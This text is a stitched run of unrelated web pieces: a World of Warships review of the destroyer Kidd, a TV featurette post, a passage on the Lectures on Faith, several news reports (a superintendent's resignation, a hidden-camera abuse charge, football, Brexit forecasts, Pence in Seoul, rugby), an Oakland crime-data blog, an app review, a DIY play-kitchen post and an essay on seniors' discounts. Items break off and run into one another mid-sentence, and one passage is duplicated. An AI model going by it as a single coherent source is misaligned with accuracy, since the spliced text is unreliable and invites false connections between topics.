Kidd is reliant on landing a high volume of hits to start fires. The numbers presented here are very generously assuming 100% accuracy which is a pipe dream. In addition, high tier ships will reduce these numbers further, cutting them almost in half. Starting two fires per minute with Kidd is an ambitious goal. Start praying to RNGesus. There’s a grim methodology to engaging enemy capital ships with Kidd’s guns. Choose a target.
Struggle to hit said target.
Laugh as you suddenly light two fires in quick succession.
Rage as your target uses their Damage Control Party and you’re unable to light a subsequent blaze for the next two minutes. Hoover up a pittance in shell damage as you quickly oversaturated their superstructure.
and you’re unable to light a subsequent blaze for the next two minutes. Hoover up a pittance in shell damage as you quickly oversaturated their superstructure. Slowly lose your sanity as that ship heals up all of the damage you did and then some.
Question the meaning of life, the prevalence of the battleship meta and why oh why didn’t you heed Mouse’s colourful graphs and charts!? Their colours warned you! THEY WARNED YOU IT WOULD BE LIKE THIS! Kidd’s guns may not be terribly effective against larger ships when you get down to it, but at least they’re fun to use. The sheer volume of fire they put out is meme worthy (plus it’s fun to say “pew!” every time they fire). They’re decent enough against close range targets but because of the prevalence of Surveillance Radar and Hydroacoustic Search, it’s dangerous to get that close, so pick your battles carefully. Still, they’ll shred other destroyers, so that’s something at least. Kidd needs more ‘pedos. They took five of her ‘pedos away to give her more AA power. You only have a single torpedo launcher on USS Kidd. Yes, this sucks. No, you don’t get Fletcher’s upgraded Mark 16 torpedoes with their awesome range and hitting power. No, they didn’t improve Kidd’s torpedo soft-stats to compensate. These are the exact same torpedoes as on the stock-Fletcher or upgraded Benson. They have decent range and modest damage totals, but they’re slow as all get out and their reload time is downright punitive. So not only do you have your torpedo armament halved, you’re also waiting just as long to fire them off as Benson does. If you’re hoping to make torpedo soup with USS Kidd, your broth is going to taste pretty thin. Getting the most out of this horrible helping of fish requires a lot more skill than just dropping the pip onto the torpedo lead indicator and hoping for the best. You can’t saturate an area or hedge your bets with a second launcher. Picking the right target at the right moment and anticipating how they’re going to move in the 60 some odd seconds it will take for your torpedoes to reach their maximum range is a real challenge, even for veteran commanders. Landing even a couple of hits really helps pad the terrible damage numbers that USS Kidd puts out. The threat of Kidd’s torpedoes is often worth more than the actual damage they put out. Your opponents are inclined to be more cautious if they believe you’re able to dump a salvo into them when they’re most vulnerable. Their imaginations will often envision far more devastation than Kidd can actually conjure, so sometimes it’s worth holding onto your fish just for this bully-factor. Summary: Kidd’s firepower is terrible.
Same ol’ USN 127mm/38s we know and love (and hate).
Kidd’s ‘pedos suck — and not always in the sexy way.
USN 127mm/38 gunnery in a nutshell: First, pick a target. Next, s etup outside of radar range. Step three: deploy smoke. And finally, step four: p ut four salvos into the air before your first shells connect. Durability
Hit Points: 16,700
Maximum Protection: 19 to 20mm Well, this is shaping up to be a pretty negative review so far, innit? Thankfully, it gets better from here on out. Kidd comes with a healthy chunk of hit points — 1,300hp more than Benson and 2,100hp more than Loyang. This still pales compared to the tier VIII thunderchunckers Akizuki and Z-23 which have a 3,700hp and 2,800hp advantage respectively over Kidd, but at least she can say that she’s not at the bottom of the pile here. Taking Survivability Expert can prop this number up further, bumping Kidd up another 2,800hp which would make her competitive against some of the tier IX and X destroyers as well. However, she’s not as reliant upon this skill as other destroyers and the points are better spent elsewhere. Kidd joins Khabarovsk with a fun dose of Russian-bias in the form of a Repair Party consumable. Each charge can heal back 2,338 hit points (this does not change if you take Survivability Expert). She begins the game with two charges that can be boosted up to four with a premium version of the consumable combined with the Superintendent commander’s skill. Without a citadel, Kidd can always heal back a minimum of 50% of damage done to her which ensures you get the maximum use out of each charge. I tell myself that this is the reason that Kidd gives up a second torpedo-launcher. It’s not the real reason, but it certainly has improved my attitude towards this ship. Kidd’s Repair Party is a real boon. She effectively has up to 30,722hp if fully optimized for maximum toughness (Superintendent, Survivability Expert, premium Repair Party used four times, India Delta signal), allowing her to take an absolute beating, survive and later return to the fight hungry for more. This gives her endurance and longevity that Benson, Fletcher and Black could only dream of having. So while it may take forever to do any appreciable damage with Kidd’s terrible weapon load-out, her improved survivability all but guarantees she’s got the time to do it. The only thing you need fear is taking massive alpha strikes or sustained burst damage. Watch out for Surveillance Radar equipped vessels and practice dancing to those torpedo-beats.
The John McClane of destroyers. Kidd rarely comes out of a match without looking like she was thrown through a plate glass window. Manoeuvrability Top Speed: 38.0knots
Turning Radius: 620m
Rudder Shift: 3.9s
Maximum Turn Rate: 7.9º per second. As far as destroyer agility goes, Kidd is decidedly average and is best compared to the Soviet destroyer Ognevoi in terms of her speed and handling. For a Fletcher-class destroyer, she’s much faster than either Fletcher or Black but this comes at the cost of her turning circle which is 60m wider. Overall, this gives her power and speed enough to run down any Japanese torpedo destroyer within her Matchmaking spread and enough wiggle in her tush to dance to torpedo beats and dodge incoming shellfire. However, she won’t feel as nimble as either of her sister-ships. For those who intend to play Kidd aggressively, I cannot stress enough how important the Vigilance skill on your commanders will be. High alpha strikes are the bane of this ship and there’s few things worse than being blindsided by a wall of skill you didn’t anticipate and being sent back to the port early.
Pertinent agility statistics for Kidd’s contemporaries (click to enlarge). She’s decidedly average, with her high top speed compensating for her larger turning circle compared to Fletcher and Black. If you want to try out Kidd’s handling for yourself before making a purchase, play around with the tier VIII Soviet destroyer, Ognevoi. The two are very similar in their overall handling characteristics with the biggest difference between them being their rudder-shift-time.We have another behind the scenes glimpse at Ash vs Evil Dead to share with you today. Similar to the previous one, this featurette sees various members of the creative team and on camera talent giving their perspective on the series and how Ash is the perpetual man (child) next door. You can check it out for yourself after the break! The show will premiere on Starz Saturday October 31 at 9 PM.
As we previously reported, the network has ordered a total of ten episodes. Sam Raimi, Rob Tapert, Bruce Campbell, and Craig DiGregorio will be executive producing and Raimi has signed on to direct the pilot episode (which he penned with his brother Ivan) for the cable network.
“The cast is led by Bruce Campbell (Evil Dead) in the role of Ash Williams, Lucy Lawless (Spartacus) as Ruby a mysterious figure who believes Ash is the cause of the Evil outbreaks, Ray Santiago (Touch) as Pablo Simon Bolivar, an idealistic immigrant who becomes Ash’s loyal sidekick, Dana DeLorenzo (A Very Harold & Kumar 3D Christmas) as Kelly Maxwell, a moody wild child trying to outrun her past and Jill Marie Jones (Sleepy Hollow |
46).
Some Latter Day Saint denominations have subsequently removed the lectures from the Doctrine and Covenants. The lectures were removed from the Reorganized Church of Jesus Christ of Latter-day Saints version of the Doctrine and Covenants in 1897, although that denomination began publishing the lectures in a separate volume in 1952. The LDS Church removed the lectures from the Doctrine and Covenants in the 1921 edition, with an explanation that the lectures "were never presented to nor accepted by the Church as being otherwise than theological lectures or lessons". (See Introduction, 1921 edition.) This is in contrast to the remaining pages of the original Doctrine and Covenants, which are officially recognized by nearly all Latter Day Saint denominations as divine revelation given specifically to the church.
Mormon apologists give several reasons to explain why the Lectures were removed from the scriptural volumes of the LDS Church. According to church apostle Joseph Fielding Smith, the reasons were:
"(a) They were not received as revelations by the prophet Joseph Smith. "(b) They are instructions relative to the general subject of faith. They are explanations of this principle but not doctrine. "(c) They are not complete as to their teachings regarding the Godhead. More complete instructions on the point of doctrine are given in section 130 of the 1876 and all subsequent editions of the Doctrine and Covenants. "(d) It was thought by James E. Talmage, chairman, and other members of the committee who were responsible for their omission that to avoid confusion and contention on this vital point of belief, it would be better not to have them bound in the same volume as the commandments or revelations which make up the Doctrine and Covenants."[2]
Brigham Young University's Thomas G. Alexander has stated in a Sunstone article:
Revision [of the Doctrine and Covenants] continued through July and August 1921, and the Church printed the new edition in late 1921. The committee proposed to delete the 'Lectures on Faith' on the grounds that they were 'lessons prepared for use in the School of the Elders, conducted in Kirtland, Ohio, during the winter of 1834-35; but they were never presented to nor accepted by the Church as being otherwise than theological lectures or lessons.' How the committee came to this conclusion is uncertain. The general conference of the Church in April 1835 had accepted the entire volume, including the Lectures, not simply the portion entitled 'Covenants and Commandments,' as authoritative and binding upon Church members. What seems certain, however, is that the interpretive exegesis of 1916 based upon the reconstructed doctrine of the Godhead had superseded the Lectures.[3]
Other commentators[who?] have theorized that the lectures represented official church doctrine in 1835, but that by 1897 or 1921, when the work was decanonized by the major Latter Day Saint denominations, the doctrine concerning the Godhead had changed, and the lectures were no longer generally consistent with accepted doctrines. For instance, in Lecture 5, paragraph 2, it defines the Father as a "personage of spirit, glory and power," whereas in section 130 of the Doctrine and Covenants, verse 22 states that "the Father has a body of flesh and bones as tangible as man's." In addition, the Father and Son are said to possess the same mind, "which mind is the Holy Spirit" (Lecture 5, paragraph 2). The Holy Spirit is not a personage, as defined at the beginning of paragraph 2: "There are two personages who constitute the great, matchless, governing and supreme power over all things.... They are the Father and Son." This could cause confusion when compared with section 130 of the Doctrine and Covenants: "The Holy Ghost has not a body of flesh and bones, but is a personage of Spirit." Section 130 was added in the 1876 edition and hence co-existed with the Lectures on Faith.
In 1972, Elder Bruce R. McConkie, then a member of The Church of Jesus Christ of Latter-day Saints' First Council of the Seventy, praised the lectures as follows:
"In my judgment, it is the most comprehensive, inspired utterance that now exists in the English language—that exists in one place defining, interpreting, expounding, announcing, and testifying what kind of being God is. It was written by the power of the Holy Ghost, by the spirit of inspiration. It is, in effect, eternal scripture; it is true."[4]
Today, the Lectures on Faith are part of the Restoration Edition of the Scriptures, an edition of the Latter-day scriptures used by the Fellowships of the remnants.
Notes [ edit ]HASBROUCK HEIGHTS -- One of the state's highest-paid superintendents will resign after the state found that she transferred her daughter, a district employee, to a different office without the board's approval and covered security cameras so they wouldn't record the daughter working.
Dawn Fidanza, superintendent of the South Bergen Jointure Commission, submitted her resignation, effective Dec. 31, and will be placed on a leave of absence effective Nov. 1.
Board President Gregorio Maceri would not say whether it was a paid leave.
Fidanza will be "primarily" working in another location in the district before her leave of absence while the board secures an interim superintendent, Maceri said.
Fidanza, who earns a base salary of $236,735, was the eighth highest-paid superintendent in the state last school year.
The Office of Fiscal Accountability and Compliance in the state's Department of Education investigated Fidanza after receiving a complaint about her conduct.
Highest paid public officials in Bergen County
The state found that Fidanza transferred her daughter, Julia Fidanza, to another job in the district without the board's approval in early 2016.
The state further found that Fidanza tried to influence a supervisor's evaluation of the daughter. She also covered the lenses of cameras in the office where her daughter worked so co-workers would not see "the comings and goings of her daughter," according to the state's findings.
A synopsis of the investigation's conclusions was posted on the district's website.
Fidanza did not return multiple requests for comment.
Julia Fidanza's last day in the district was June 30, Maceri said. She earned $47,200, according to state salary records.
The South Bergen Jointure Commission is a state-approved Board of Education to provide services to local school districts. The services include transportation to field trips, personnel and special ed classes. It has 276 students enrolled.
It is governed by a board of 14 school officials from local districts.
"Sufficient checks and balances are in place to avoid a reoccurrence of the underlying problems that gave rise to the OFAC's findings," Maceri said.
The state did not determine in its findings that the district violated any regulations and it wasn't required to put together a "corrective action plan," Maceri said.
Sara Jerde may be reached at sjerde@njadvancemedia.com. Follow her on Twitter @SaraJerde.
Have information about this story or something else we should be covering? Tell us: nj.com/tipsA Millersburg man is accused of hiding a camera near a teddy bear in an 11-year-old girl's bedroom to secretly record her getting dressed, according to charges filed by state police at Lykens.
Mark Douglas Fulton, 27, was charged May 20 with sexual abuse of children and invasion of privacy in connection with a May 11 incident, police said.
State police said they interviewed Fulton May 18 after someone reported seeing the video on his phone. Trooper Raschard Buie said Fulton told him the camera was hidden around a teddy bear in a corner of the girl's room. Fulton said he may have been drunk, and said the girl didn't know he made the recording.
Fulton said he regretted his action, and told Buie "I'm not a pedophile. I need like a counselor, like help in general," said court documents.
He is in Dauphin County prison in lieu of $50,000 bail, and his preliminary hearing is scheduled for June 29.Date Sat 26 April 2014 Tags oakland / crime / data
For the next few weeks, I will be analyzing crime in Oakland using data from CrimeWatch. Please see my previous post on how I gathered and cleaned the data. My only rule is that I want everything I investigate to be actionable.
Also, a number of people asked for a copy of the cleaned data. Here it is. Go nuts. I asked folks what I should look for. Some requests were obvious, like the overall trend of crime. Others were much more specific, like robberies around BART stations. I hope to look at all of that soon. But the first thing that I needed to understand was the system a little more.
An Update from Oakland Police
An update from last week: I showed that CrimeMapping under-reports recent crime by an average of 50% ("recent" meaning the previous week). I messaged @Crime_Mapping several times with no response. I also sent CrimeWatch an email, but that bounced back. Someone suggested I contact OPD's community relations officers. I had some luck there:
@WelcomeClass meeting arranged to discuss types & definitions of data you discussed. Thanks for your work in research & raising questions. — Lt. Chris Bolton (@OPDChris) May 2, 2014
I'll post further updates here. The original article follows:
How Crime is Mapped
CrimeMapping is an online tool that you can use to visualize crime in your neighborhood. The data for CrimeMapping is from an initiative called CrimeWatch that the city of Oakland undertakes. You can go onto CrimeMapping, look up an address, and see recent crimes committed nearby.
CrimeWatch sends CrimeMapping this data every morning along with an automatically generated tabular file on their own website in the morning available here in a file called 'crimePublicData.csv'.
If you open that file, you can see that it has a rolling four month window for crime reports. For example, if you look at it today (April 26, 2014), the earliest date in crimePublicData.csv is December 26, 2013. If you open the same file tomorrow, the earliest date will be December 27, 2013.
This is how CrimeMapping stays up to date. And when you go to their site, by default you see the last week in whatever area you're interested in.
The limits of CrimeMapping
Something interesting from CrimeMapping's FAQ:
How can I get historical or additional information for a crime? CrimeMapping.com includes a rolling one hundred and eighty (180) days’ worth of crime data. If you require more historical data or more detailed information regarding a specific incident you should contact the public information officer at your local law enforcement agency. Why am I not seeing a crime that I know occurred? Each incident has to be confirmed and entered as a report by the law enforcement agency before it can be uploaded to our website. For some incidents it may take some time for this process to be completed so it would not immediately appear on the website. If the case is still an open investigation, it will not appear until the case is closed.
In other words, CrimeMapping cannot show cases that are still open, or cases that close after 120 days. This suggests a built-in bias against more recent crimes.
What you can't see
In addition to the daily report, CrimeWatch also published their full set of 2012 and 2013 case reports. This is a year-end roundup, and assuming crime does not change much annually, we may be able to see how much crime is being under reported:
The y-axis is the number of crime reports. The x-axis is the number of days since January 1st. Each day represents the average of the last week. I added a smoother curve with confidence intervals for clarity. The data was pulled on 04/20/2014 (109 days after the new year).
Clearly, what stands out is the steep drop in 2014.
Let's zoom in.
The data was pulled 109 days after the new year. What you see in the figure are two weeks of case reports CrimeWatch uploaded to CrimeMapping prior to that day (in green). In red and blue, you see 2012 and 2013, respectively.
At day 94, there are about 60 cases on 2014 compared to about 70 for the prior years. By day 102, it's about 50 cases compared to 70. By day 108, it's around 23 to 73. The closer we get to present day, the further we get from where crime should be.
Here's the kicker: By default, CrimeMapping displays the last 7 days of data. If you take the average difference for each day in the past week against the historical, you see that, by default, CrimeMapping can only show about 50% of the crime that is actually reported.
To be clear, CrimeMapping does warn its viewers that only closed cases will be shown. But this warning is hidden in the FAQ. And nowhere on the site can a person understand how much crime is being under reported. Their backend may be set up to update crime as it gets closed, but we already saw that this doesn't happen until about two weeks after a certain date.
This is important, because CrimeMapping is the City of Oakland's tool to help its residents understand crime in their community. People use this data to help choose neighborhoods to live in, routes to jog, places to visit... The historical data is there. It is not expensive to make things more transparent.
Action ItemsWest Brom manager Tony Pulis has confirmed Saido Berahino was offered a new deal this week which he has so far refused to sign.
The 23-year-old has not featured for the Baggies in the Premier League since the 1-0 defeat to Bournemouth on September 10 and was sent to France by Pulis in November in a bid to improve his conditioning.
Berahino's current deal with Albion expires at the end of the season and the club have been in talks with him since the summer.
West Brom head coach Tony Pulis confirms Birmingham have made an approach for midfielder Craig Gardner West Brom head coach Tony Pulis confirms Birmingham have made an approach for midfielder Craig Gardner
Pulis admits he has grown weary of the long-running saga regarding Berahino's future but is adamant West Brom are ready to move on with or without him.
Pulis said: "The club has offered him a new contract not just this week, but in previous months too, so they've been in negotiations with Saido, so we'll just see how that pans out.
"The deals have been on the table for the boy and his agent - we'll see how that pans out.
"Again, we've hit the funny month. He's only got one more month left of this if he doesn't sign, so that's probably a bonus for me.
"If we sell him we will work very very hard to get a replacement in. If we don't sell him, we'll have to work very very hard to get him back to what he was 18 months ago."
West Brom head coach Tony Pulis says they are still involved in discussions with Manchester United about signing midfielder Morgan Schneiderlin West Brom head coach Tony Pulis says they are still involved in discussions with Manchester United about signing midfielder Morgan Schneiderlin
One player who could be arriving at The Hawthorns is Manchester United midfielder Morgan Schneiderlin, with Pulis confirming talks are ongoing between the two clubs but he stressed no agreement has yet been reached.
Pulis said: "The two clubs are talking. It's not just one player out there we are interested in. There are a number of players we are interested in."Dire prophecies of an economy in freefall after Brexit have suffered another blow with the publication of a report which indicates that Britain will outperform Germany, France and the entire Eurozone over the coming years.
Oxford Economics, which employs around 200 professional economists, industry experts and business editors, predict that the British economy will grow by 1.8 per cent between 2017-2021.
Germany, the European Union’s economic powerhouse, will only grow by 1.3 per cent as it struggles with the consequences of the migrant crisis; behind stagnant France on 1.4 per cent and not too far ahead of crisis-wracked Italy on 1.1 per cent.
The situation in the Eurozone may, in fact, turn out significantly worse, with Jim Mellon, the Leave.EU co-founder described as ‘Britain’s Warren Buffet’, predicting that the single currency will finally go into meltdown in the coming years.
UK manufacturers report strongest order books for 30 years, driven by food, drink, tobacco and chemicals — CBI industrial trends survey. — Andrew Neil (@afneil) June 22, 2017
The report, commissioned by the County Councils Network (CCN), goes on to suggest that Britain could achieve even better growth – as high as 2.7 per cent per year – if Whitehall delivers sweeping new powers over spending and taxation to local government.
CCN, which describes the English counties as “sleeping giants” just waiting for their economic potential to be unleashed, believes over a million new jobs could be created over a ten-year period, £26.3 billion added to the national economy in tandem with public sector savings of £11.7 billion over a five-year period.
UK retains title as Europe’s most attractive location for FDI with highest number of projects on record #EYAttract https://t.co/Zn7aIAdDKQ pic.twitter.com/pUpurtHhR6 — EY UKI (@EY_UKI) May 22, 2017
Richard Holt, Oxford Economics Head of Global Cities Research, said “Brexit means that to improve exports and manufacturing performance, the Industrial Strategy must look beyond the largest cities.”
Elaborating on this theme, Holt explained that “Local economies covered by the County Council Network account for over half of England’s manufacturing output and almost 40 per cent of exports.
“That makes the CCN economy an important constituent of the whole — big enough not just to be influenced by, but to heavily influence overall economic activity in the UK.
“To be effective the Industrial Strategy and the next phase of devolution should seek to build on that.”
Anti-Brexit forecasters have taken a number of hard knocks since the Remain campaign was defeated at the polls, with ten of them forced to tear up their pre-referendum forecasts and Treasury reports prepared under George Osborne debunked as “very flawed and very partisan”.
Bank of England chief economist Andrew Haldane has gone so far as to describe Britain’s strong economic performance “despite Brexit” as a Michael Fish moment for the economics profession.Vice President Mike Pence arrived in Seoul, South Korea on Sunday, where he visited U.S. troops for an Easter service and praised "a commitment to freedom here on this penninsula... that is succeeded far beyond those who carved this free society in this ancient land could possibly have imagined."
"I bring greetings this morning from your commander-in-chief, President Donald Trump," he said. "I spoke to him on the way over, and he asked me to be here. And he told me in no uncertain terms to make sure I told all of you: We're proud of you, and we are grateful to your service to the United States of America on this Frontier of Freedom that is South Korea."
This is the start of a 10-day trip to Asia for the vice president. Next, he will head to Japan, Indonesia, and Australia before returning to Hawaii.
About North Korea's failed missile launch, the VP said to U.S. troops: "This morning's provocation from the North is just another reminder of the risks each one of the you face in the defense of the freedom of the people of South Korea, and the defense of America in this part of the world."
"In these troubled times in this part of the world, your courage and your valor still amazes the American people," he also said.
Also see, the vice president's arrival in Seoul on Sunday morning and his placing a ceremonial wreath at the National Cemetery in South Korea's capital:New Zealand Rugby (NZR) has made its move in attempting to keep three high-profile players in New Zealand.
Photo: Photosport
The union has tabled its final deals for Ben Smith, Israel Dagg and Aaron Cruden, and says it will give them the time they need to make a decision.
The trio's contracts end after the British and Irish Lions tour in June and all three have received lucrative offers to join French clubs.
While conceding New Zealand Rugby would never be able to match the big money bids from overseas, NZR chief executive Steve Tew said they had done all they could to retain the services of the three key backs.
"They all are key retention targets for us, they've all got final offers, they've all had in-depth conversations with both their Super Rugby enviroments and also the All Black coaching group.
"They all know we love them to death and we'd love them to stay, but they've got to make their decisions."
Tew said NZR was getting closer to signing All Blacks captain Kieran Read, who was also off contract next year, through to the end of the 2019 World Cup.Design
After opening a photo within Snapseed, you’re provided a simple photo viewer with a single “Edit” button near the bottom. This expands to reveal the editing options available. By far the most useful is the first tool, appropriately titled “Tune Image”. Sliding your finger up and down reveals the available image editing aspects, like Brightness, Contrast, etc. Once you’ve selected the desired option, sliding left and right makes the adjustments.
Swipe vertically to select an option, then horizontally to make adjustments.
Words only complicate the intuitiveness of the interface. The only way to truly appreciate it is to try it for yourself. I have found this “up-down to select, left-right to adjust” experience to be probably the best execution of photo editing available to the mobile platform. While most would assume this type of editing work to be best left for the desktop, Snapseed offers a very complete set of editing tools in a touch-friendly format.
Other editing aspects, including Details and Vignette use a similarly intuitive sliding interface. While I found these extra tools to be less useful in most situations, it’s worth noting that the interface for each option is well designed and executed properly.
Any photo editing app would be incomplete without a batch of filters, and Snapseed is no exception. In this case, however, users are given more control over the effect, with a set of sliders unique to each filter. A set of frames is also available, if that is your cup of tea. While these are admittedly not what draw me to a photo editor, I can appreciate that Snapseed’s implementation of filters and frames is fully realized.By Jill Phipps-Enustun
It seems nowadays you can find a way to DIY (Do It Yourself) just about anything with a little help from Google and Pinterest. In the interest of saving money, I spent numerous hours searching the Internet on how to make my toddler her own play kitchen. The pots, pans, utensils, food and snacks all over my kitchen floor made it very apparent this was a need in our home. It should be stated that I am very frugal and sometimes stingy with my money. So I was looking for a cheap alternative to purchasing a new kids kitchen. Some of the DIY kitchens I found on Google and Pinterest were elaborate to say the least. (Working sinks and lights, giant home entertainment centers that doubled as food trucks, multicolor painted designs you’d find in your own real kitchens just to name a few.) That’s why when I came across a photo of two bedside tables that had been repurposed into a sink and a stove. I immediately pinned it and began rummaging for supplies.
There were minimal instructions on how the original poster made her kitchen. Using several different photos I combined what would work for us. I had to do a lot of problem solving on my own, but hey, it was a DIY project so I expected as much. I found a side table in a neighbor’s garage and ended up paying $8 for a kid’s side dresser through a facebook market page. I found a lady giving away free paint samples cans on another Facebook market place. For some reason we had hooks galore in our toolbox so those were free. We had some left over wood, from shelving we previously built, to use as a backboard and shelf for the stove. We also had a plastic chip bowl that would work perfectly for the sink. All I needed was something to work as burners for the stovetop, knobs, and faucet.
Back to perusing Pinterest to look at photos, I noticed many people use different styled drawer pulls for the knobs and a very clever person used a sink trap J-bend (the plastic elbow piece that goes under your sink) as a faucet. I already had gold spray paint, so I just needed to head to Menards for knobs, glue, sink trap and something to use as burners. I found six plain wood knobs for a total of $4.26, a long gold handle for $2.22 to use as the oven handle and the white sink trap and extender for $3.27. I decided I could use mouse pads upside-down as burners. They were $1.99 for each so I bought four. Now that I had all my supplies my husband and I started the project.
Let’s start with the stove. I traced four circles using two different size bowls for the burners. Next we removed the drawer from the lit tle side dresser and placed a piece of wood to create a shelf instead of the drawer that pulls out. We kept the face of the drawer to use as the oven door. The trickiest part was using hinges on the front of the original face of the drawer so it pulled down like an oven instead of out like a drawer. While it looks cuter and more realistic, next time I would have just kept the drawer. It’s heavy causing it swings all the way down when opened. We now need to add a different hinge that will stop it straight out instead of it dropping all the way down. (We haven’t completed this yet. Instead we just added a magnetic catch we bought for under a $1 to keep the door shut when not being used. I added a piece of duct tape to loosen the magnet’s connection so our daughter could open it easier.) We took a larger piece of wood and attached it to the back to create a tall backboard in order to add hooks and a shelf for pots and pans.
Time to get started on the sink. I traced the large chip bowl onto side table near the front and center. My husband then began to cut out the hole in the middle front of the side table. He originally tried to use a handsaw. That did NOT work. He instead used a reciprocating saw, which worked well. When I tried to fit the bowl in the hole I realized the circle was overcut, which left a gap outside the bowl on one spot. I took a piece of wood (the bottom of the drawer from the little side dresser) and traced and cut the hole to place on top of the main hole. You can see the square under the bowl in the photos. That’s all that needed to be done for the sink.
Now that everything was cutout and built we painted it. We also painted the inside of the oven part black to give it a more realist look. Once dry, we glued the two large and two small circle mouse pads upside-down to the top of the stove using a glue called Liquid Nails. We then screwed the knobs to the top of the stove in row loosely so the could twist. Next we screwed in the shelf to the backboard adding the hooks underneath. We added the pull handle to the front of the oven door and placed a metal cooling rack inside to complete the stove. For the sink we glued the gold spray-painted sink trap and extender using a generous amount of the glue to keep it from just popping off when played with. Next, we screwed in the knobs to each side of the faucet. Finally, we glued the bowl into the hole. The sink was complete!Once everything was dry we set up and brought our daughter into the room play with it. She has played with her new kitchen everyday! She LOVES it! And to think the whole thing cost us under $30 and just two days work. I’d like to call this a Pinterest Win!While Travelling in Hungary this past summer with his wife, Ernst Friedel had a revelation. “Anyone 65 and over is allowed to use the Budapest transit system for free,” he reports. “And everyone seemed very happy about that.”
Friedel, a retiree from Waterloo, Ont., enjoyed the experience so much, he figures senior citizens at home should get a similar deal. “If you made transit passes free for seniors, even if it was only during off-peak hours, it wouldn’t cost the system anything, there would be many more passengers and the seniors would certainly appreciate it.”
Canadian transit systems may not let seniors ride for free, but they do go out of their way to provide cheap fares. Friedel’s hometown Grand River Transit, for example, offers a 16 per cent discount on monthly passes. Calgary Transit goes much further, selling a yearly pass to anyone over 65 for $95, or less than one-tenth the regular price. That price is cut to $15 for seniors in financial need.
As any attentive shopper knows, cheap bus travel is only the tip of the iceberg when it comes to seniors discounts. Shoppers Drug Mart has made the last Thursday of every month famous with its 20 per cent off promotion for anyone over 55 years old. Competitor Rexall Pharmaplus offers a similar discount on the last Tuesday of the month for shoppers over 65. (Although, from now until the end of December, every Tuesday is seniors’ day.) The Bay gives customers 60 years and older a 15 per cent discount on the first Tuesday of each month. And numerous hotels, taxi cabs, hamburger joints, optometrists, movie theatres and arts groups give seniors a hefty discount any time. With careful timing and planning, a senior almost never needs to pay full price.
The public sector is even more generous. Everything from taxes to incidental fees gets cheaper when you turn 65. Alberta exempts seniors from provincial health care premiums and gives them a break on medical devices such as hearing aids. Senior citizens in most provinces pay only a fraction of the cost of prescription drugs, and often these co-payments are capped at a few hundred dollars. And there are also substantial property-tax rebates available for senior homeowners from coast to coast. Beyond such big-ticket items, countless smaller expenses are also discounted. Seniors in Prince Edward Island can get a fishing licence for free. Anyone 65 and older visiting Fundy National Park in New Brunswick gets $1.00 off the regular admission rate; at Banff National Park in Alberta, it’s a $1.50 discount. The city of Toronto shovels seniors’ snow for free. As well, numerous universities allow seniors to take courses either without paying tuition or at substantial discounts. The list, quite literally, goes on and on and on.
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The seniors discount has long been justified as a way to recognize the constraints faced by pensioners stuck on fixed incomes, and as a modest token of appreciation for a lifetime spent paying taxes and contributing to society. And for those truly in need, who would quibble? But with half a million Baby Boomers—a group not known for frugality or lack of financial resources—turning 65 every year for the next few decades, the seniors discount is in for much greater scrutiny.
Last year, in a move widely seen as a first strike against the unquestioned seniors discount, Toronto-Dominion Bank eliminated its no-cost seniors bank plan for new customers, replacing it with a 25 per cent rebate off regular monthly fees for anyone aged 60 and up. That’s still an attractive discount, but the change drew loud complaints from seniors groups such as the Canadian Association of Retired Persons (CARP). The bank claimed its move was driven by simple financial logic: “As with any business, we have to look at the evolving Boomer demographic,” TD spokeswoman Barbara Timmins said at the time. “We have to think about our long-term needs, as well as our profitability as a business.” Or, to put it more bluntly: TD decided it was time to stop giving away its services to some of its best customers.
“The original seniors banking plans originated decades ago, when the average senior didn’t have the financial security of seniors of today,” says David McVay of McVay and Associates, a Toronto-based financial-industry consulting firm. “Targeting a large portion of your customers who represent a big revenue share with free services doesn’t really make sense anymore.”
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There was a time when the seniors discount made a lot more sense. In the mid-1970s, nearly 30 per cent of all seniors were considered poor, as defined by Statistics Canada’s low-income cut-off. But today, this has fallen to a mere 5.2 per cent. The impact of this turnaround is hard to overstate. Seniors once faced the highest rates of poverty in Canada; now they enjoy the lowest level of any age group: The poverty rate among seniors is almost half that of working-age Canadians.
Thanks to a solid system of government support programs, the very poorest seniors receive more income in retirement than they did when they were of working age. The near-elimination of seniors’ poverty is widely considered to be Canada’s greatest social policy triumph of the past half-century.
This tremendous improvement in seniors’ financial security has dramatically changed the distribution of income across age categories, as well. In 1976, median income for senior households was 41 per cent of the national average. Today, it’s 67 per cent. Over the same period, median income for families where the oldest member is aged 25-34 has fallen in both absolute and relative terms.
Then there’s the vast wealth generated for the Boomer generation by the housing and stock markets (only some of which was lost during the great recession). The stock of wealth in housing, pensions and financial assets held by the average senior family is nearly double that of working-age households. Accounting for the financial benefits of home ownership and rising house values, Statistics Canada calculates the true net annual income of retired households rises to 87 per cent of a working-age household’s income. In other words, non-working seniors are making almost as much as folks in their prime earning years, but without all the expenses and stressors that go with a job, children at home, or middle age. Not only that, the current crop of seniors enjoys historically high rates of pension coverage. The much-publicized erosion of private-sector pensions will hit younger generations who are currently far from retirement.
It’s not even clear what it means to be a senior anymore, as the sunset years of life keep lasting longer. The Canadian Institute of Actuaries recently updated its mortality tables: A 60-year-old male today can now expect to live beyond 87, a 60-year-old female to nearly 90. With some seniors deals kicking in as early as age 50, it may soon be possible to wangle a discount for half a lifetime. And many seniors today choose to keep working well past age 65 for reasons of personal interest, or to afford more travel or other luxuries.
Today’s Boomer-generation seniors are thus the richest, most comfortable and longest-living folks this country has ever produced. Not every senior is wealthy, of course, but even the poorest ones are better off than in previous generations and, in many cases, better off than their younger peers. So, taken as a whole, do Canada’s elderly really need—or deserve—free banking, cheap bus tickets, drug discounts and $1.50 off national-park admission fees?
David McVay recalls puzzling over what to do with free seniors accounts when he was a bank employee several decades ago. Now, with the crush of aging, wealthy Boomers giving new urgency to the question, McVay figures the die is cast. “I fully expect the other banks will eventually follow along,” he predicts.
And yet, the curious thing is that more than a year later, none of the other major banks, well-known for their herd mentality, has copied TD in cutting back on their seniors discounts. The prospect of an angry mob of retirees seems to have a cautionary effect on the business community; the ghost of Solange Denis, the feisty senior who forced then-prime minister Brian Mulroney to back down on a partial de-indexing of seniors benefits in 1986, haunts CEOs, as well as politicians.
Susan Eng, vice-president of advocacy for CARP, says the business sector is right to fear the wrath of seniors if it tries to cut back on discounts, whether the price cuts are necessary or not. “Our members have a strong altruistic streak,” she says. “Many seniors know they don’t need a discount personally, but they expect businesses to look after those who do.”
Besides, everyone loves a bargain. “If I have access to a discount because of my age, I’ll take it,” Eng admits. That the Harper government made specific mention of protecting “no-cost basic banking” in its most recent Throne Speech is seen by Eng as a further sign of CARP’s political clout and the eternal importance of seniors discounts.
